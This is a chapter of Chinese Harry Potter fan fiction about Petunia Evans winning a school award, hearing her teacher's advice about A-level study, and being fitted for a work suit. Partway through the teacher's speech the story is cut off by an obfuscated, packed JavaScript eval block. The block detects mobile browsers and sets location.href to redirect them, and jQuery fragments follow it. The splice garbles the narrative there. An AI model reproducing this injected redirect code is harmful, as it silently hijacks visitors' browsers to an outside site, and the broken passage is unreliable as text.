“看这里，佩妮！”爸爸在台下冲她挥手，佩妮的视线刚转过去，闪光灯一亮，爸爸就把快门按了下去，完全没有等她摆好表情。


    “50英镑，祝贺你，伊万斯小姐。”一位穿着米色西装外套的男人向佩妮握手表示祝贺，礼堂黄色的灯光下，他光亮的额顶可以见到细密的汗珠。


    “那是财政部的人。”站在佩妮左边的女生小声对佩妮说，“我爸爸上周才同他吃过饭。”


    那名财政部的官员从自己西装外套里掏出手帕擦去脑门上的汗水，走向下一位拿着奖状的学生。


    “你们是圣凯瑟琳现代中学的骄傲。”


    “圣凯瑟琳现代中学是科克沃斯的骄傲。”


    阿加莎女士跟在他身后走过来，仍旧那副不苟言笑的表情。她双手交叠放在胸口，俯视着佩妮，但是黄色灯光映在她的眼睛里，使她那双锐利的眼睛看起来比在校门口及讲台上温和得多。


    阿加莎女士给她的写作打了一等。她的数学不出意料是二等，但其他科目的一等还是使佩妮拿到了这50英镑的奖励金。


    现在有资格站在礼堂台上接受政府官员颁奖的人，加上佩妮总共也只有三名。


    在台下此起彼伏的闪光灯和掌声中，佩妮悄悄地挺起了自己的胸膛。


    “我就说你肯定能拿到那50英镑奖金的，佩妮！”莉莉兴奋地说。


    “但是这还得等财政拨款，现在只有一张证书，等奖金拿到手都不知道是什么时候了。”佩妮嘴上是这么抱怨的，但是她仍然勾起了自己的嘴角。


    “我要把佩妮这张照片洗出来，到时候放在家里。”爸爸把玩着他手里的相机，语气里是掩盖不住的高兴，“只有三位学生拿到了CSE一等，佩妮就是其中的一位！”


    爸爸拉着佩妮和莉莉在礼堂里拍了好些照片，等他们走出礼堂的时候，天色已经有些晚了，人已经散得差不多了。


    现在真的要跟圣凯瑟琳现代中学告别了。


    但出乎佩妮的意料，阿加莎女士竟然还没走，她站在礼堂的门口，仿佛在等待着什么。


    她的视线落在了佩妮的身上，她向佩妮走了过来。


    佩妮一时有一些紧张。


    “能否耽误伊万斯小姐一些时间呢？”她对伊万斯夫妇阖首，然后对佩妮开口。


    她跟着阿加莎女士重新走进了她的办公室，然后坐在了那个木凳上。


    木凳总还是不舒服，每一位坐在木凳上的学生都会不自觉挺起自己的腰。


    “祝贺你，伊万斯小姐，你拿到了50英镑。”阿加莎女士说。


    这是她听了整整一下午的恭贺，佩妮几乎是条件反射地向阿加莎女士报以礼貌的微笑和道谢。


    空气里安静了一会儿。


    “一般来说，伊万斯小姐，”阿加莎女士拉开了她的椅子坐下来，“你的学校生活就此结束了。”


    其实应该是现代中学几乎所有的学生念书的日子就从此到头了。


    “那么伊万斯小姐，你未来有什么打算呢？”阿加莎女士问佩妮，她的语气出乎意料地温柔。


    佩妮看着阿加莎女士的眼睛，她说：“我妈妈为我在伦敦物色了一份工作，等暑假结束，我就可以去工作了。据说那是一份比较体面的工作。”


    “啊，很明智的一条路，祝贺你伊万斯小姐。”阿加莎女士说，“现代中学大部分女生都会选择工作这条路，毕竟你们在这里学到的这些技能，就是为了工作做准备的。”


    佩妮隐约觉得阿加莎女士要跟她说的不止这些，她看着阿加莎女士的眼睛，等待阿加莎女士后面的话语。


    “你知道CSE考试一等有什么用吗？”阿加莎女士双手交握，从书桌后望着佩妮。


    也许是夕阳的光线实在是太过于柔和了，佩妮脱口而出：“一张奖状，还有50英镑。”


    佩妮第一次见到阿加莎女士的脸上露出笑意，即使这是一抹极其细微的，一闪而过的笑。


    “确实，我们不是文法中学，这里只有CSE的考试，你们不需要为上大学而考O level，这里也不提供任何的A level课程。你知道O level考试和A level课程吗？”


    佩妮点点头，伊索尔德现在就走着这条路——这是她自己选择的路。


    “但是。”阿加莎女士话语里出现了一个转折，使得佩妮抬起了她的头来，“在像伦敦、伯明翰、诺丁汉这些大城市，会有一些学校，它们被称为继续教育学院，专门接收社会上一些人士，为他们提供A level的课程。”


    “部分学校认为，CSE考试一等的成绩，等同于O level成绩，如果通过他们的入学考试，就能接受他们A level课程的教学。”


    就好像在原本平静的湖面投下一颗石子，看着阿加莎女士，佩妮微微张开了自己的嘴巴。


    “当然，这只是听起来很简单而已。”阿加莎女士说，“现实会有很多困难。”


    “首先是学费，这些学校并不免费。虽然有些学校，地方政府会覆盖一部分的学费，但剩下的，包括书本、路费这些，也是一笔相当的花销。”


    “成人继续教育学院里，你可以选择夜间班或者周末班，但那样就需要付出更多的精力，因为对于整整两年的A level课程来说，你要学的内容并不会因为时间的减少而减少。”


    “但那不是最困难的，最困难的是现代中学的课程并不涉及A level的内容，那些继续教育学院会设置一些入学的考试，这又是一道障碍。”


    “就这些种种障碍来说，其实没必要自讨苦吃，尤其是你已经在伦敦获得了一份工作，如果这份工作能够让你成为一名独立的女性，过上你想要的生活的话。”


    她为什么要同自己说这些，佩妮心想。


    阿加莎女士仿佛看穿了佩妮的心声，她对佩妮说：“我只是出于我作为老师和学校管理者的角度，向我的学生提供一些她们应该要知道的内容。”


    阿加莎女士的语气很平淡，仿佛真的只是在陈述一个简单的事实。


    “我知道了，谢谢您，阿加莎女士。”佩妮说。


    阿加莎女士在书桌后看着佩妮。


    她们互相凝视着对方，谁也没有开口说话，有那么一瞬间，佩妮觉得自己的眼睛有一些酸涩。


    沉默了一小会儿，佩妮对阿加莎女士说：“我和索菲是朋友。”


    “那时，您拿给我看的那些书，我和她都一起看过。看那些书的时候，我很自由快乐，她应该跟我一样。我认为我们一起渡过的时光对她而言是快乐的。”


    “我认为索菲得到了她想要的东西，她做出了自己的选择。”


    “那本小说真的写的很不错，她会在伦敦过上自己想要的生活的。”佩妮说。


    “她是怎么对你说她的故事的。”阿加莎女士的身体微微前倾。


    佩妮把在医院里索菲对她说的话了挑选一些告诉了阿加莎女士，她避开了教鞭的故事。


    阿加莎女士重新坐回到她自己的座位上，身体后仰，她的脸上看起来什么表情也没有。


    书桌上传来一阵响动，两本书被推到了佩妮的面前。


    “那么这是我个人，送给伊万斯小姐的礼物。”阿加莎女士说。


    佩妮将那两本书接过来，是两本有些陈旧的书，纸页已经有些泛黄了。


    一本《拉丁语入门》，还有一本《西方哲学入门》。


    佩妮有一些吃惊，这两本书有些眼熟，但她想不起来在哪里见过。


    “这两本书我准备了有一段时间，但它们始终没能派上原来的用场，出于我个人的原因，我把它们送给你，伊万斯小姐。”


    “A level可不会规定你们要学的内容，那时候选择权就在你们自己手上了，要选择什么科目又跟一些对你们而言可能更加遥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16259769|177776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不可及的事情相关。投入的时间和精力，对于像你们这样的小姐来说，时间总是最珍贵的东西，不太经得起浪费。”


    “但无论如何，选择权就交给你了，伊万斯小姐。”


    “阿加莎女士同你说了些什么？佩妮。”在离开校园的路上，妈妈有些好奇地询问佩妮。


    佩妮回头望了一眼那栋沉默的建筑，夕阳西下，光线并不明亮，走廊变成一条条漆黑的长方形条索嵌在被夕阳染红的楼栋上。


    她一时不知道怎么回答妈妈，阿加莎女士的话就像给她的那两本书，装在她的书包里，沉甸甸地跨在她的肩头，但看着爸爸妈妈还有莉莉望过来的视线，佩妮只好含糊地说：“她问我未来有什么打算，我说我要去伦敦工作。”


    对于佩妮要去伦敦工作的这件事，妈妈看起来比佩妮还积极。


    才告别圣凯瑟琳中学没几天，明明暑假还有很长的一段时间，妈妈就带着佩妮来到了成衣店。


    一套浆洗得干干净净，没有一丝褶皱的灰色职业西装套裙被从柜台后面递给佩妮，显然是妈妈早已准备好的。


    此外还有一双女士黑色漆皮低跟皮鞋。


    那双鞋一开始被放在黄色的缎面布料上，黑色的漆皮在灯光下反射出价格不菲的光线。


    同西装套裙一起，这是妈妈送给佩妮的礼物。


    “妈妈为你特别订做的伊丽莎白女王同款。”妈妈看起来兴奋极了，“在工作的时候穿它，再搭配西装衬裙，你会像斯通女士那样优雅，佩妮。”


    “妈妈，你是想现在就把我赶去伦敦吗？”佩妮拿着西装套裙还有皮鞋，在被妈妈推进换衣间之前，她对妈妈大声抱怨，换来成衣店店长卡伦女士还有妈妈的笑声。


    等佩妮换好那套衬裙，踩着那双黑色漆皮低跟皮鞋站到镜子前的时候，她听见店长女士的赞叹：“噢，佩妮，你和玛格丽特简直太像了。”


    佩妮第一反应是卡伦女士在胡说八道——就算为了推销那款西装套裙，卡伦女士也不应该这么说的。更何况这套西装套裙非常的合身，这是妈妈给佩妮量身订做的套裙，她们一定会买下来。


    成衣店的镜子里映出一个有些瘦高的身影。


    她长高了很多，金灰色的长发梳得整整齐齐，在脑后扎成一束马尾，她眨眨眼，镜子里那双浅灰色的眼睛回望她，也眨了眨眼。穿上那套西装衬裙，镜子里的佩妮好像一下子就从圣凯瑟琳中学飞去了伦敦的办公楼。


    但看看妈妈，成衣店白色的灯光就在她们的头顶上摇曳，照在妈妈红色微卷的头发上，显出蓬勃的生命。


    “我的佩妮马上要去伦敦工作了。”妈妈凑到她的耳朵边，镜子里那双跟莉莉一模一样的水绿色的眼睛与佩妮交汇，然后弯了起来。


    佩妮怎么会像妈妈。


    佩妮的头发和眼睛都来自爸爸，而妈妈的恩赐则给了莉莉——这是任何一个熟稔伊万斯家的亲朋好友都知道的事实。


    更何况小时候佩妮不止一次和薇拉在卡伦女士这里买过裙子。


    这使得她忍不住在心里埋怨卡伦女士的那句胡话。


    但是等等——佩妮盯着镜子里的自己和妈妈，盯得久了，白色的灯光反射进她的眼睛里，使她的眼睛感到酸胀，于是事物的边界开始模糊，镜子里的人影不知道什么时候变成了穿西装套裙的妈妈。


    妈妈也有一套西装套裙，1971年那年，麦格教授来家里接莉莉去对角巷的时候，妈妈换过那套西装套裙。妈妈很少穿它，只在一些重要的场合才会给它出席的机会，比如去听斯通女士的课。


    但现在，穿上西装套裙的佩妮，站在镜子前，神态竟然同穿着西装套裙的妈妈逐渐重合，就像妈妈的一部分，通过这身西装套裙流淌到了佩妮的身上。


    “当然啦，”卡伦女士的话看起来让妈妈很开心，镜子前，妈妈凑近佩妮，揽住她的肩膀，“佩妮也是我的女儿，她马上要去伦敦工作了。”